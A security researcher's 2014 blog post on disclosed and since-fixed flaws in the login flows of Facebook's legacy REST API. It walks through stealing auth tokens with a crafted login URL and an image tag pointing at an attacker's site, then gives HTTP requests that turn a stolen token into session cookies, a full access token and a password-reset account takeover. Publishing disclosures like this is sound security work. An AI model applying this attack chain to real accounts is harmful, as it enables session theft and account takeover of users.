Stephen Sclafani

Hacking Facebook’s Legacy API, Part 2: Stealing User Sessions

July 29th, 2014

This is part two of my research on Facebook’s legacy REST API. If you’re not familiar with the REST API an overview is contained in part one.

Summary

To make REST API calls for a user a Facebook application must first obtain a session key for the user. The REST API provided two login flows for applications to obtain a session key, one for Web applications (websites) and one for Desktop applications (JavaScript, mobile, and desktop applications).

Both flows contained vulnerabilities that allowed an attacker to steal user sessions. Once a user’s session had been stolen it was possible for the attacker to elevate their access from the limited REST API to the Graph API to being able to reset the user’s password and take full control of their account.

The Web Login Flow

To obtain a session key for a user a Web application would direct the user to the Facebook login URL with its API key:

https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0

If the user had not already authorized the application they would be prompted to do so. Once the user had authorized the application they would be redirected to the callback URL that had been set for the application along with an auth token:

CALLBACK_URL?auth_token={AUTH_TOKEN}

The application could then exchange the auth token for a session key for the user by calling the method auth.getSession.

Unlike with the Graph API’s login flow, the callback URL could not be overridden via the login URL. At first glance this made the flow unexploitable, however, for many of Facebook’s own internal applications no callback URL was set. When their API keys were used in the login URL it would redirect the auth token to the Facebook domain:

https://www.facebook.com/?auth_token={AUTH_TOKEN}

While it was not possible to override the callback URL, an optional next parameter could be passed a relative path which would get appended to it:

https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0&next=/some/path
CALLBACK_URL/some/path?auth_token={AUTH_TOKEN}

When used with an internal application that had no callback URL set the path would get appended to the Facebook domain:

https://www.facebook.com/some/path?auth_token={AUTH_TOKEN}

To steal a user’s auth token an attacker needed to redirect it to their own website. When a Facebook application is loaded from the Facebook mobile website it automatically redirects to its set website URL without any security prompt. It was possible for an attacker to exploit this to steal auth tokens:

https://m.facebook.com/login.php?api_key=882a8490361da98702bf97a021ddc14d&v=1.0&next=/apps/attackersapp

When loaded by a user who was logged in to their Facebook account, this URL would redirect the user’s auth token to the attacker’s application which is passed as a relative path in the next parameter. When used with an internal application the login URL would redirect to the Facebook subdomain that it was requested from (in this case m.facebook.com) rather than always redirecting to www.facebook.com:

https://m.facebook.com/apps/attackersapp?auth_token={AUTH_TOKEN}

The attacker’s application would then redirect to its website. It’s a feature of Facebook to include any query parameters in this redirect. This included the auth token (even if Facebook did not include query parameters in the redirect the token would still have been included in the referer):

https://attackerswebsite/?ref=unknown&auth_token={AUTH_TOKEN}#_=_

Once an attacker had stolen a user’s auth token they could call auth.getSession themselves to get a session key for the user. In the above example the Facebook for Android application’s API key (882a8490361da98702bf97a021ddc14d) is used in the login URL. This is an internal application used by Facebook’s Android app. Like many of Facebook’s internal applications, the Facebook for Android application has been authorized and granted full permissions for every user. This was important because a user must have already authorized the application being used before their auth token could be stolen. There were other important reasons for using the Facebook for Android application which I discuss later in this post.

The Desktop Login Flow

In the Web login flow an auth token was generated by the login URL and passed to the application via a callback URL. This was not possible for Desktop applications. In place of a callback a Desktop application would generate an auth token by calling the method auth.createToken. A user would then be directed to the login URL in their browser with the token:

https://www.facebook.com/login.php?api_key={API_KEY}&v=1.0&auth_token={AUTH_TOKEN}

Like with the Web login flow, if the user had not already authorized the application they would be prompted to do so. Once the application had been authorized the auth token would be bound to the user’s account. The user would then be prompted to return to the application:

desktop

The application could then exchange the auth token (which it already had) for a session key for the user by calling auth.getSession.

There were two problems with this flow: The auth token returned by auth.createToken was just a random 32 character hexadecimal string, an attacker could generate their own token without calling the method. If a user had already authorized the application the auth token would be bound to their account automatically.

An attacker could get a user to load the login URL with the API key of an internal Facebook application that had been authorized for every user and an auth token that they had generated. The token would be bound to the user’s account. Since the attacker had generated the auth token they could then get a session key for the user by calling auth.getSession themselves. Because the call to auth.getSession did not have to be made from the user’s browser, the login URL could be loaded from anywhere where images can be embedded (a webpage, an email, a blog, a message board thread, in comments, etc.):

<img src="http://attackerswebsite/exploit">

When a user’s browser attempted to render this image it would load the attacker’s URL. Upon loading, the URL would generate an auth token and pass it to an asynchronous task. It would then redirect to the Facebook login URL with the token. When loading an img tag’s URL browsers will automatically follow a certain number of redirects. When the user’s browser followed the redirect to the login URL it would include the user’s Facebook cookies in the request. If the user was logged in to Facebook the auth token would be bound to their account. This worked because the login URL only had to be loaded for the auth token to be bound to a user’s account, it did not have to be rendered. Back on the attacker’s server, the task would wait long enough for the login URL to have been loaded by the user’s browser and would then attempt to get a session key for the user by making calls to auth.getSession with the auth token that it was passed. Once a session key had been obtained the task would log it. The end result was that any user who loaded a page that contained an img tag with the attacker’s URL while logged in to their Facebook account would have their session stolen.

From Auth Token to Account Takeover

Once an attacker had stolen a user’s auth token it needed to call auth.getSession to exchange it for a session key for the user. According to the REST API documentation this should have been impossible as the call to auth.getSession must be signed with an application’s secret, which the attacker didn’t have. Web applications can safely embed their application secret in their code but Desktop applications cannot (because client-side code is easily reverse engineered). The REST API’s solution to this problem was to require Desktop applications to have a server-side component which would make the call to auth.getSession and return the session key to the application. With the introduction of the Graph API Facebook introduced Client Tokens which replaced the need for the server-side component:

The client token is an identifier that you can embed into native mobile binaries or desktop apps to identify your app. The client token isn’t meant to be a secret identifier because it’s embedded in applications. The client token is used to access app-level APIs, but only a very limited subset. The client token is found in your app’s dashboard. Since the client token is used rarely, we won’t talk about it in this document. Instead it’s covered in any API documentation that uses the client token.

One of those app-level APIs is the auth.getSession method. A client token for the Facebook for Android application is embedded in the Facebook Android app’s APK. An attacker could decompile the APK and extract the token. The attacker could then use the token to sign calls to auth.getSession:

POST /restserver.php HTTP/1.1
Host: api.facebook.com

method=auth.getsession&api_key=882a8490361da98702bf97a021ddc14d&auth_token={AUTH_TOKEN}&sig={SIGNATURE}

The call returns a session key, a session secret, the user’s ID, and an expiration time:

{"session_key":"decd1047aec5f853c40bf37c.0-100008390328443","secret":"7668586c1a035b41b1795c2a9b42aba2","uid":100008390328443,"expires":0}

Sessions for the Facebook for Android application have an expiration of 0 which means that they never expire (even if a user logs out). A session is only invalidated if the user changes their password. Sessions are also granted full permissions. Using their session key an attacker could call any of the REST API methods on behalf of the user. Being a deprecated API, the REST API is limited in its access as compared to the current Graph API. As part of the migration from the REST API to the Graph API Facebook provided an endpoint for application developers to convert their session keys into Graph API access tokens. This endpoint, however, requires having the actual application secret, not just a client token.

Facebook’s mobile apps use a number of private REST API methods for authentication and user functionality. These methods could be called by an attacker using a user’s stolen session key. One of these methods is auth.getSessionForApp. This method is used by the mobile apps to get new session information for a user from a cached access token. While the mobile apps call this method with an access token, it could also be called with a session key:

POST /restserver.php HTTP/1.1
Host: api.facebook.com

method=auth.getsessionforapp&api_key=882a8490361da98702bf97a021ddc14d&new_app_id=350685531728&session_key={SESSION_KEY}&sig={SIGNATURE}

The call returns an access token and session cookies for the user:

{"session_key":"5.RRGb10fHwMwKAQ.1405482281.145-100008390328443","uid":100008390328443,"secret":"f08161791f178b88dbd756f0b181c529","access_token":"CAAAAUaZA6jlABAOcpfpc32f2ghkGC4sA2ZBOiLnBCrWCXAaBv9BiWoVsZC50ON4CtZBaqpA0ZAvDoZBWq4WeZCVkbPEzS4PZc5GGtu5ne4y4t0uMGM2ZAIlalwiZAxk2yLMakA50ejphd7trGZBIAIHgkL45pqZCcZBcSD3oVI9QB2iaC8us2gfdEG34rDwfzMLjIjIzZD","session_cookies":[{"name":"c_user","value":"100008390328443","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/","secure":true},{"name":"fr","value":"0pvpMEx9iOGi0j3WG.AVWCUvS7pUYSzaLCYgvE0WmMA29.BTvGmH.rW.AAA.AVWBQAlf","expires":"Wed, 27 Aug 2014 17:54:32 GMT","expires_timestamp":1409162072,"domain":".facebook.com","path":"\/"},{"name":"xs","value":"145:RRGb10fHwMwKAQ:2:1405482281:18064","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/","secure":true},{"name":"csm","value":"2","expires":"Tue, 28 Jul 2015 17:54:32 GMT","expires_timestamp":1438106072,"domain":".facebook.com","path":"\/"},{"name":"datr","value":"WI7MU20avMWObNAhbmT0AYjX","expires":"Wed, 27 Jul 2016 17:54:32 GMT","expires_timestamp":1469642072,"domain":".facebook.com","path":"\/"}]}

The access token is granted full Graph API permissions. An attacker could use the access token to call any of the Graph API’s endpoints. The session cookies could be used by the attacker to login to the user’s account directly.

Even with the ability for an attacker to login to a user’s account, there are still some features that require knowing the user’s password. Facebook’s Android app allows a user to add a new phone number to their account. It does this by calling the method user.confirmPhone. This method does not require the user’s current password. An attacker could call this method to add their own number to a user’s account:

POST /restserver.php HTTP/1.1
Host: api.facebook.com

method=user.confirmphone&api_key=882a8490361da98702bf97a021ddc14d&code={CODE}&session_key={SESSION_KEY}&sig={SIGNATURE}

The method is passed the phone confirmation code that is returned from texting F to 32665 (in the US). Once a phone had been added to a user’s account, the attacker could initiate a password reset request for the user and use the “Text me a code to reset my password” option to have a code sent to newly added number:

reset password

Disclosure

I reported the vulnerability in the Desktop login flow to Facebook on May 3rd and the vulnerability in the Web login flow on May 9th. A temporary fix for Desktop login flow was put in place by Facebook on May 4th. Both issues were fixed permanently on May 21st. The issues took longer to fix than the API endpoint issue that I documented in part one as the flows were still being used by many older Facebook applications and could not simply be disabled. For the two issues a combined bounty of $20,000 (2x $10,000) was awarded by Facebook as part of its Bug Bounty Program.

Timeline

May  3, 2014  7:33am – Desktop login flow report sent
May  3, 2014  9:31pm –  Confirmation of issue from Facebook
May  4, 2014  3:53pm –  Temporary fix for Desktop login flow pushed by Facebook
May  6, 2014 11:22pm –  Notification by Facebook that it would take a couple of days for a permanent fix to be put in place
May  9, 2014  4:42pm –  Web login flow report sent
May  9, 2014  5:06pm –  Confirmation of issue by Facebook
May  9, 2014 10:59pm –  Notification by Facebook that it would take a couple of more days for a permanent fix to be put in place for both issues
May 13, 2014  1:22pm –  Notification by Facebook that they were still working on a permanent fix for both issues
May 17, 2014  9:28am –  Notification by Facebook that a permanent fix for both issues would be pushed on the 20th
May 21, 2014  1:02am –  Permanent fix for both issues pushed
May 22, 2014  1:29am –  Confirmation of fix sent
May 30, 2014  5:17pm –  $20,000 (2x $10,000) combined bounty awarded by Facebook